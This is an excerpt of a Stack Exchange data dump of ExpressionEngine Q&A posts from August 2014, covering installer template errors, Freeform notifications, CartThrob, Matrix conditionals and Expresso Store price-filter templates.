  <row Id="25396" PostTypeId="2" ParentId="24506" CreationDate="2014-08-29T02:41:03.210" Score="0" Body="&lt;p&gt;Adding &lt;code&gt;protect_javascript&lt;/code&gt; to the DB likely won't fix it. There is something in your templates that is throwing the error. BY simply clearing out the data for the specific template in your DB the installer should be able to run just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the steps I took to solve this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Access the exp_templates table using phpmyadmin or something similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Find the rows that correspond to the template ID in the error (I had about 10-12 total errors all related to this). Delete the content that is in the &lt;em&gt;template data&lt;/em&gt; field until you no longer get them. Proceed with the installer (i just hit refresh on the installer after clearing the field in phpmyadmin).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind, as long as you have a hard copy of your templates somewhere you don't need to worry about saving what is in &lt;em&gt;template data&lt;/em&gt;. You can sync that up again later in the CP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing to note, all the templates that through this error in this specific instance were utilizing the old &lt;code&gt;{related_entries}&lt;/code&gt; tag  pair.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2014-08-29T02:41:03.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25397" PostTypeId="1" AcceptedAnswerId="25440" CreationDate="2014-08-29T03:00:13.183" Score="0" ViewCount="40" Body="&lt;p&gt;is anyone else getting an error in jquery when using playa in single entry mode?&lt;br&gt;&#xA;The error is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Error: Syntax error, unrecognized expression: #{DEFAULT} -&amp;gt; jquery.js:23&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;multiple entry selection mode works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the functionality still seems to work except the built in search/filter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.9.0&#xA;playa 4.5.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;other misc addons(yes, there may be some out of date ones there):  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;bridge&lt;/li&gt;&#xA;&lt;li&gt;bw_category_count&lt;/li&gt;&#xA;&lt;li&gt;child_categories&lt;/li&gt;&#xA;&lt;li&gt;cookie_plus&lt;/li&gt;&#xA;&lt;li&gt;developer&lt;/li&gt;&#xA;&lt;li&gt;devotee&lt;/li&gt;&#xA;&lt;li&gt;dm_shortee&lt;/li&gt;&#xA;&lt;li&gt;fieldpack&lt;/li&gt;&#xA;&lt;li&gt;freebie&lt;/li&gt;&#xA;&lt;li&gt;freeform&lt;/li&gt;&#xA;&lt;li&gt;fusion&lt;/li&gt;&#xA;&lt;li&gt;human_filesize&lt;/li&gt;&#xA;&lt;li&gt;img_download_sizer&lt;/li&gt;&#xA;&lt;li&gt;imgsizer&lt;/li&gt;&#xA;&lt;li&gt;low_seg2cat&lt;/li&gt;&#xA;&lt;li&gt;matrix&lt;/li&gt;&#xA;&lt;li&gt;mx_cloner&lt;/li&gt;&#xA;&lt;li&gt;mx_title_control&lt;/li&gt;&#xA;&lt;li&gt;pagination&lt;/li&gt;&#xA;&lt;li&gt;power_truncate&lt;/li&gt;&#xA;&lt;li&gt;pt_dropdown&lt;/li&gt;&#xA;&lt;li&gt;pt_field_pack&lt;/li&gt;&#xA;&lt;li&gt;pt_list&lt;/li&gt;&#xA;&lt;li&gt;pt_switch&lt;/li&gt;&#xA;&lt;li&gt;selectatron_migrator&lt;/li&gt;&#xA;&lt;li&gt;the_selectatron&lt;/li&gt;&#xA;&lt;li&gt;url_encode&lt;/li&gt;&#xA;&lt;li&gt;url_tube&lt;/li&gt;&#xA;&lt;li&gt;wygwam&lt;/li&gt;&#xA;&lt;li&gt;youtube&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="397" LastActivityDate="2014-09-01T14:55:34.837" Title="Playa jquery error" Tags="|playa|error|javascript|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25398" PostTypeId="2" ParentId="25375" CreationDate="2014-08-29T06:08:07.810" Score="0" Body="&lt;p&gt;If you're using &lt;code&gt;{exp:freeform:edit}&lt;/code&gt; (Freeform Pro feature), there is the &lt;code&gt;notify_on_edit=&quot;&quot;&lt;/code&gt; parameter that you can use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;http://www.solspace.com/docs/freeform/edit/#notify_on_edit&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt; (&lt;a href=&quot;http://www.solspace.com/docs/freeform/edit/#notify_on_edit&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/freeform/edit/#notify_on_edit&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;notify_on_edit=&quot;yes&quot;&lt;/strong&gt;&lt;br&gt;&#xA;  If you wish to send out notifications to admins and users with the usual parameters upon successful edit of Freeform entry, you'll need to specify this parameter with a value of &lt;strong&gt;yes&lt;/strong&gt;. Default is &lt;strong&gt;no&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you want this to happen from the Control Panel (when editing a Freeform entry by changing its status), that is currently not available. We recommend submitting this as a Feature Request under the specific add-on category. It'll also give other users the option to vote up the feature request, and help us prioritize features to add in upcoming versions of this add-on:&#xA;&lt;a href=&quot;http://support.solspace.com/support/discussions&quot; rel=&quot;nofollow&quot;&gt;http://support.solspace.com/support/discussions&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-08-29T06:08:07.810" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25399" PostTypeId="2" ParentId="25373" CreationDate="2014-08-29T06:17:30.867" Score="0" Body="&lt;p&gt;Since &lt;code&gt;user_notification_template=&quot;&quot;&lt;/code&gt; is a parameter, and there is no form field for it, it isn't possible to modify this setting once the form has loaded. I recommend submitting this as a Feature Request under the specific add-on category. &lt;a href=&quot;http://support.solspace.com/support/discussions&quot; rel=&quot;nofollow&quot;&gt;http://support.solspace.com/support/discussions&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This may be far-fetched, but you could use javascript to reload the form with a new user_notification_template value after selecting one of your options. The value if the user_notification_template would be passed in a segment in the URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if you select &quot;Red&quot;, the form reloads with a URL link this (this is an &lt;em&gt;example&lt;/em&gt;): &lt;code&gt;http://mysite.com/contact/redTemplate&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, in your &lt;code&gt;{exp:freeform:form}&lt;/code&gt; (or &lt;code&gt;{exp:freeform:composer}&lt;/code&gt;) parameters, use the segment in your &lt;code&gt;user_notification_template=&quot;&quot;&lt;/code&gt; parameter, i.e.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;user_notification_template=&quot;{segment_3}&quot; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course make sure to have a &lt;code&gt;redTemplate&lt;/code&gt; notification template set up in the CP.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;em&gt;Be careful of parse order! &lt;strong&gt;Turn on Template Debugging&lt;/strong&gt; if necessary&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-08-29T06:17:30.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25402" PostTypeId="2" ParentId="25370" CreationDate="2014-08-29T09:08:58.783" Score="0" Body="&lt;p&gt;I have experience with multiple payment gateways disappearing from the cp as well. What fixed it for me was using PHP 5.3 or lower.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been in touch with expresso about this months ago and devdemon only last month. On both occasions I was told it would be looked into.&lt;/p&gt;&#xA;" OwnerUserId="2003" LastActivityDate="2014-08-29T09:08:58.783" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25403" PostTypeId="1" AcceptedAnswerId="26396" CreationDate="2014-08-29T10:25:29.313" Score="0" ViewCount="40" Body="&lt;p&gt;Is it possible to have more than one installation of CartThrob running on one site?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reason - I need to have Quotes and Orders stored in different Channels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone managed to achieve anything similar?&lt;/p&gt;&#xA;" OwnerUserId="3016" LastActivityDate="2014-10-23T17:00:01.030" Title="Multiple CartThrob installs on one site" Tags="|cartthrob|ecommerce|shopping-cart|install|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25404" PostTypeId="2" ParentId="25403" CreationDate="2014-08-29T11:07:43.343" Score="0" Body="&lt;p&gt;Short answer no without using something like MSM. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But CartThrob can easily support multiple channels for products. You can also use categories to help seperate orders from quotes. &lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-08-29T11:07:43.343" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25405" PostTypeId="2" ParentId="25385" CreationDate="2014-08-29T12:15:26.640" Score="0" Body="&lt;p&gt;There aren't any hooks in place for when a MSM site is duplicated, so Low Reorder (nor any other 3rd party add-on) can do certain stuff when this happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't want to do this via the CP, you'd have to manually create some SQL queries and insert those in the database yourself.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-08-29T12:15:26.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25407" PostTypeId="1" CreationDate="2014-08-29T14:31:55.750" Score="0" ViewCount="94" Body="&lt;p&gt;I have tried many different variations:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{if field1:total_rows == 0 &amp;amp;&amp;amp; field2:total_rows == 0} No rows {/if}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{if field1:total_rows == 0 AND field2:total_rows == 0} No rows {/if}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{if {field1:total_rows} == 0 &amp;amp;&amp;amp; {field2:total_rows} == 0} No rows {/if}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{if &quot;{field1:total_rows}&quot; == 0 AND &quot;{field2:total_rows}&quot; == 0} No rows {/if}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They all evaluates TRUE, even though field1 and field2 have matrix rows in the entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I finally had to do something like this:&#xA;{if field1:total_rows == 0}{field2:total_rows == 0} No rows {/if}{/if}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I construct the conditionals without nesting two {if}?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We are on EE 2.9, Matrix 2.6&lt;/p&gt;&#xA;" OwnerUserId="3530" LastEditorUserId="3530" LastEditDate="2014-08-29T15:33:30.420" LastActivityDate="2014-08-29T15:33:30.420" Title="Advanced conditionals: {if field1:total_rows == 0 &amp;&amp; field2:total_rows == 0} always return TRUE" Tags="|matrix|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="25409" PostTypeId="1" CreationDate="2014-08-29T15:25:53.630" Score="1" ViewCount="42" Body="&lt;p&gt;Like everyone, a major headache for us has been keeping databases between development and production servers in sync. We had implemented Krasimir's method to great success.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://krasimirtsonev.com/blog/article/Deploying-ExpressionEngine-based-site&quot; rel=&quot;nofollow&quot;&gt;http://krasimirtsonev.com/blog/article/Deploying-ExpressionEngine-based-site&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But after upgrading EE to 2.8.x it stopped working. We haven't really had time to troubleshoot and I don't even know how popular this solution was but we haven't had any luck Googling quick answers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ran across Liquibase earlier today and it seems like a more generalized implementation of the same idea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone used Liquibase with EE? Any reason to think it might not be a good solution? Alternatively, anyone had luck fixing Krasimir's method?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2339" LastActivityDate="2014-08-29T15:25:53.630" Title="Liquibase A Good Replacement for Krasimir Method of Database Syncing?" Tags="|database|database-migrations|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25410" PostTypeId="2" ParentId="25389" CreationDate="2014-08-29T15:37:27.420" Score="0" Body="&lt;p&gt;I was directed to &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/25206/related-entries-using-playa&quot;&gt;a similar question&lt;/a&gt; that was asked and it totally solved the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My mistake was that I had assumed that it would maintain the entry_id but by embedding it I was able to solve it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a bunch!&lt;/p&gt;&#xA;" OwnerUserId="3527" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2014-08-29T15:37:27.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25411" PostTypeId="1" AcceptedAnswerId="25415" CreationDate="2014-08-29T19:46:37.620" Score="0" ViewCount="32" Body="&lt;p&gt;Is there a way to incorporate the search:on_sale and entries_entries number to display the total number of entries that are on sale?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:search channel=&quot;products&quot; search_id=&quot;{segment_3}&quot; search:on_sale=&quot;yes&quot;}&#xA;{exp:entries_number channel=&quot;products&quot;}&#xA;{entries_number} Item(s)&#xA;{/exp:entries_number}&#xA;{/exp:store:search}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2471" LastActivityDate="2014-09-29T00:54:55.970" Title="Expresso Store - Search on Sale w/ Entry Count" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25412" PostTypeId="2" ParentId="25216" CreationDate="2014-08-29T19:54:39.167" Score="0" Body="&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;products&quot; limit=&quot;1&quot; dynamic=&quot;yes&quot;}&#xA;                        {related_product_2}&#xA;                        {exp:store:product entry_id=&quot;{related_product_2:entry_id}&quot; form_class=&quot;form-horizontal&quot;}&#xA;                        &amp;lt;input type=&quot;text&quot; value=&quot;1&quot; size=&quot;3&quot; name=&quot;item_qty&quot; style=&quot;visibility:hidden; display:none;&quot;&amp;gt;&#xA;                        {modifiers}&#xA;                          &amp;lt;select name=&quot;{modifier_input_name}&quot; style=&quot;visibility:hidden; display:none;&quot;&amp;gt;&#xA;                            {modifier_options}&#xA;                              &amp;lt;option value=&quot;{option_id}&quot; title=&quot;{if price_mod_val} ({price_mod}) {/if}&quot; {if option_first} selected {/if}&amp;gt;&#xA;                                {option_name}&#xA;                                {if price_mod_val} ({price_mod}) {/if}&#xA;                              &amp;lt;/option&amp;gt;&#xA;                            {/modifier_options}&#xA;                          &amp;lt;/select&amp;gt;&#xA;                        {/modifiers}&#xA;                        &amp;lt;div class=&quot;product&quot;&amp;gt;&#xA;                            {exp:channel_images:images entry_id=&quot;{entry_id}&quot; limit=&quot;1&quot;}&#xA;                            {related_product_2:product_gallery}&#xA;                            &amp;lt;img src=&quot;{image:url:listing}&quot; alt=&quot;{title}&quot;  /&amp;gt;&#xA;                            {/related_product_2:product_gallery}&#xA;                            {/exp:channel_images:images}&#xA;                            &amp;lt;h3&amp;gt;&#xA;                            &amp;lt;a href=&quot;{path=&quot;products/item/&quot;}{related_product_2:categories show_group=&quot;1&quot;}/{category_url_title}{/related_product_2:categories}/{related_product_2:url_title}&quot;}&quot;&amp;gt;&#xA;                            {related_product_2:title}&#xA;                            &amp;lt;/a&amp;gt;&#xA;                            &amp;lt;/h3&amp;gt;&#xA;                            &amp;lt;p class=&quot;product-description&quot;&amp;gt;&#xA;                            {exp:trunchtml chars=&quot;60&quot; ending=&quot;...&quot;}{related_product_2:product_description}{/exp:trunchtml}  &#xA;                            &amp;lt;/p&amp;gt;&#xA;                            &amp;lt;p class=&quot;product-price&quot;&amp;gt;{if on_sale}{price}{if:else}{regular_price}{/if}&amp;lt;/p&amp;gt;&#xA;&#xA;                            &amp;lt;a href=&quot;{path=&quot;products/item/&quot;}{related_product_2:categories show_group=&quot;1&quot;}/{category_url_title}{/related_product_2:categories}/{related_product_2:url_title}&quot;}&quot;&amp;gt;&amp;lt;div class=&quot;glass&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/a&amp;gt;&#xA;&#xA;&#xA;                            &amp;lt;input id=&quot;related-item-{entry_id}&quot; type=&quot;submit&quot; style=&quot;display:none;&quot; name=&quot;submit&quot; value=&quot;1&quot;&amp;gt;&#xA;                            &amp;lt;input type=&quot;hidden&quot; name=&quot;XID&quot; value=&quot;{XID_HASH}&quot;&amp;gt;    &#xA;                            &amp;lt;a href=&quot;javascript:void(0);&quot; onclick=&quot;$('#related-item-{entry_id}').click();&quot;&amp;gt;&#xA;                            &amp;lt;div class=&quot;add-to-cart&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                            &amp;lt;/a&amp;gt;&#xA;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        {/exp:store:product}&#xA;                        {/related_product_2}&#xA;                        {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Generating the Link:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;{path=&quot;products/item/&quot;}{related_product_2:categories show_group=&quot;1&quot;}/{category_url_title}{/related_product_2:categories}/{related_product_2:url_title}&quot;}&quot;&amp;gt;&amp;lt;div class=&quot;glass&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2471" LastActivityDate="2014-08-29T19:54:39.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25413" PostTypeId="1" AcceptedAnswerId="25414" CreationDate="2014-08-29T20:19:19.917" Score="0" ViewCount="221" Body="&lt;p&gt;We’re currently working on &lt;a href=&quot;http://goo.gl/Cxk5Aw&quot; rel=&quot;nofollow&quot;&gt;http://goo.gl/Cxk5Aw&lt;/a&gt; and the client would like to add a price min / max filter on the sidebar, but we’re having an issue with keeping the segments of the url clean. I was curious if it was possible to add the min / max into our drop-down menu and have the data stored in segment_3 like we have for the pagination entry display value &amp;amp; sort by?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Current Code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Drop Down List&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:dynamo:form return=&quot;products/specials&quot; search_id=&quot;{segment_3}&quot; id=&quot;options_form&quot;}&#xA;                                &amp;lt;p&amp;gt;Show &amp;lt;select class=&quot;form_option&quot; name=&quot;limit&quot;&amp;gt;&#xA;                                &amp;lt;option value=&quot;9&quot; {if limit == 9} selected=&quot;selected&quot;{/if}&amp;gt; 9 &amp;lt;/option&amp;gt; &#xA;                                &amp;lt;option value=&quot;18&quot; {if limit == 18} selected=&quot;selected&quot;{/if}&amp;gt; 18 &amp;lt;/option&amp;gt; &#xA;                                &amp;lt;option value=&quot;27&quot; {if limit == 27} selected=&quot;selected&quot;{/if}&amp;gt; 27 &amp;lt;/option&amp;gt;&#xA;                                &amp;lt;/select&amp;gt; &#xA;                                per page&amp;lt;/p&amp;gt;&#xA;                                &amp;lt;p&amp;gt;Sort by &amp;lt;select class=&quot;form_option&quot; name=&quot;orderby&quot;&amp;gt; &#xA;                                &amp;lt;option value=&quot;title&quot; {if orderby == 'title'} selected=&quot;selected&quot;{/if}&amp;gt; Name &amp;lt;/option&amp;gt; &#xA;                                &amp;lt;option value=&quot;price&quot; {if orderby == 'price'} selected=&quot;selected&quot;{/if}&amp;gt; Price &amp;lt;/option&amp;gt;&#xA;                                &amp;lt;/select&amp;gt;&amp;lt;/p&amp;gt;&#xA;{/exp:dynamo:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;JavaScript:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;$(document).ready(function() {   &#xA;    $('.form_option').change(function(e){&#xA;        console.log('Change');&#xA;        $('#options_form').submit();&#xA;    });&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Store Code: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:search channel=&quot;products&quot; limit=&quot;9&quot; dynamic=&quot;yes&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; dynamic_parameters=&quot;limit|orderby&quot; search_id=&quot;{segment_3}&quot; paginate=&quot;both&quot; search:on_sale=&quot;yes&quot;}&#xA;                    {exp:store:product entry_id=&quot;{entry_id}&quot; form_class=&quot;form-horizontal&quot; return=&quot;store/shopping-cart&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2471" LastActivityDate="2014-09-28T21:54:45.597" Title="ExpressionEngine Expresso Store Price Filter in DropDown Select Menu Dynamically Setting Values Question" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25414" PostTypeId="2" ParentId="25413" CreationDate="2014-08-29T21:05:11.490" Score="0" Body="&lt;pre&gt;&lt;code&gt;{exp:dynamo:form return=&quot;products/specials/&quot; search_id=&quot;{segment_3}&quot; id=&quot;options_form&quot;}&#xA;                            &amp;lt;p&amp;gt;Show &amp;lt;select class=&quot;form_option&quot; name=&quot;limit&quot;&amp;gt;&#xA;                            &amp;lt;option value=&quot;9&quot; {if limit == 9} selected=&quot;selected&quot;{/if}&amp;gt; 9 &amp;lt;/option&amp;gt; &#xA;                            &amp;lt;option value=&quot;18&quot; {if limit == 18} selected=&quot;selected&quot;{/if}&amp;gt; 18 &amp;lt;/option&amp;gt; &#xA;                            &amp;lt;option value=&quot;27&quot; {if limit == 27} selected=&quot;selected&quot;{/if}&amp;gt; 27 &amp;lt;/option&amp;gt;&#xA;                            &amp;lt;/select&amp;gt; &#xA;                            per page&amp;lt;/p&amp;gt;&#xA;                            &amp;lt;p&amp;gt;Sort by &amp;lt;select class=&quot;form_option&quot; name=&quot;orderby&quot;&amp;gt; &#xA;                            &amp;lt;option value=&quot;title&quot; {if orderby == 'title'} selected=&quot;selected&quot;{/if}&amp;gt; Name &amp;lt;/option&amp;gt; &#xA;                            &amp;lt;option value=&quot;price&quot; {if orderby == 'price'} selected=&quot;selected&quot;{/if}&amp;gt; Price &amp;lt;/option&amp;gt;&#xA;                            &amp;lt;/select&amp;gt; &amp;lt;/p&amp;gt;&#xA;                            &amp;lt;p&amp;gt;Min: &amp;lt;select class=&quot;form_option&quot; name=&quot;search:price:min&quot;&amp;gt; &#xA;                            &amp;lt;option value=&quot;0&quot; {if search:price:min == '0'} selected=&quot;selected&quot;{/if}&amp;gt; 0 &amp;lt;/option&amp;gt; &#xA;                            &amp;lt;option value=&quot;100&quot; {if search:price:min == '100'} selected=&quot;selected&quot;{/if}&amp;gt; 100 &amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;200&quot; {if search:price:min == '200'} selected=&quot;selected&quot;{/if}&amp;gt; 200 &amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;300&quot; {if search:price:min == '300'} selected=&quot;selected&quot;{/if}&amp;gt; 300 &amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;400&quot; {if search:price:min == '400'} selected=&quot;selected&quot;{/if}&amp;gt; 400 &amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;400&quot; {if search:price:min == '500'} selected=&quot;selected&quot;{/if}&amp;gt; 500 &amp;lt;/option&amp;gt;&#xA;                            &amp;lt;/select&amp;gt;&amp;lt;/p&amp;gt;&#xA;                            &amp;lt;p&amp;gt;Max: &amp;lt;select class=&quot;form_option&quot; name=&quot;search:price:max&quot;&amp;gt; &#xA;                            &amp;lt;option value=&quot;1000&quot; {if search:price:max == '1000'} selected=&quot;selected&quot;{/if}&amp;gt; 1,000 &amp;lt;/option&amp;gt; &#xA;                            &amp;lt;option value=&quot;500&quot; {if search:price:max == '500'} selected=&quot;selected&quot;{/if}&amp;gt; 500 &amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;400&quot; {if search:price:max == '400'} selected=&quot;selected&quot;{/if}&amp;gt; 400 &amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;300&quot; {if search:price:max == '300'} selected=&quot;selected&quot;{/if}&amp;gt; 300 &amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;200&quot; {if search:price:max == '200'} selected=&quot;selected&quot;{/if}&amp;gt; 200 &amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;100&quot; {if search:price:max == '100'} selected=&quot;selected&quot;{/if}&amp;gt; 100 &amp;lt;/option&amp;gt;&#xA;                            &amp;lt;/select&amp;gt;&#xA;                            &amp;lt;/p&amp;gt; &#xA;{/exp:dynamo:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Product Display Set-Up:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_3 ==''}&#xA;                    {exp:store:search channel=&quot;products&quot; limit=&quot;9&quot; dynamic=&quot;yes&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; dynamic_parameters=&quot;limit|orderby&quot; search_id=&quot;{segment_3}&quot; paginate=&quot;both&quot; search:on_sale=&quot;yes&quot; search:price:min=&quot;0&quot; search:price:max=&quot;100000&quot;}&#xA;                    {exp:store:product entry_id=&quot;{entry_id}&quot; form_class=&quot;form-horizontal&quot; return=&quot;store/shopping-cart&quot;}&#xA;                    {if:else}&#xA;                    {exp:store:search channel=&quot;products&quot; limit=&quot;9&quot; dynamic=&quot;yes&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; dynamic_parameters=&quot;limit|orderby&quot; search_id=&quot;{segment_3}&quot; paginate=&quot;both&quot; search:on_sale=&quot;yes&quot; search:price:min=&quot;{segment_3}&quot; search:price:max=&quot;{segment_3}&quot;}&#xA;                    {exp:store:product entry_id=&quot;{entry_id}&quot; form_class=&quot;form-horizontal&quot; return=&quot;store/shopping-cart&quot;}&#xA;                    {/if}&#xA;&#xA;&#xA;                        &amp;lt;input type=&quot;text&quot; value=&quot;1&quot; size=&quot;3&quot; name=&quot;item_qty&quot; style=&quot;visibility:hidden; display:none;&quot;&amp;gt;&#xA;                        &amp;lt;div class=&quot;product&quot;&amp;gt;&#xA;                            {exp:channel_images:images entry_id=&quot;{entry_id}&quot; limit=&quot;1&quot;}&#xA;                            {product_gallery limit=&quot;1&quot;}&#xA;                            &amp;lt;img src=&quot;{image:url:listing}&quot; alt=&quot;{title}&quot;  /&amp;gt;&#xA;                            {/product_gallery}&#xA;                            {/exp:channel_images:images}&#xA;                            &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;{path=&quot;products/item/&quot;}{categories show_group=&quot;1&quot;}/{category_url_title}{/categories}/{url_title}&quot;}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;                            &amp;lt;p class=&quot;product-description&quot;&amp;gt;&#xA;                            {exp:trunchtml chars=&quot;60&quot; ending=&quot;...&quot;}{product_description}{/exp:trunchtml}  &#xA;                            &amp;lt;/p&amp;gt;&#xA;                            &amp;lt;p class=&quot;product-price&quot;&amp;gt;{if on_sale}{price}{if:else}{regular_price}{/if}&amp;lt;/p&amp;gt;&#xA;                            &amp;lt;a href=&quot;{path=&quot;products/item/&quot;}{categories show_group=&quot;1&quot;}/{category_url_title}{/categories}/{url_title}&quot;}&quot;&amp;gt;&#xA;                            &amp;lt;div class=&quot;glass&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                            &amp;lt;/a&amp;gt;&#xA;&#xA;                            &amp;lt;button class=&quot;add-to-cart&quot; type=&quot;submit&quot; value=&quot;Add to Cart&quot;&amp;gt;&amp;lt;/button&amp;gt;&#xA;                            {!--&amp;lt;a href=&quot;#&quot;&amp;gt;&amp;lt;div class=&quot;add-to-cart&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/a&amp;gt;--}    &#xA;                        &amp;lt;/div&amp;gt;&#xA;                        {/exp:store:product}&#xA;                        {/exp:store:search}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We set it up use a version of exp:store:search or the other dependent on if segment_3 was empty or not.  This allowed us to store the min / max values in the search_id which also assists in making the url cleaner and helps with the sites category filter (we don't have to account for two additional segments - min / max)&lt;/p&gt;&#xA;" OwnerUserId="2471" LastActivityDate="2014-08-29T21:05:11.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
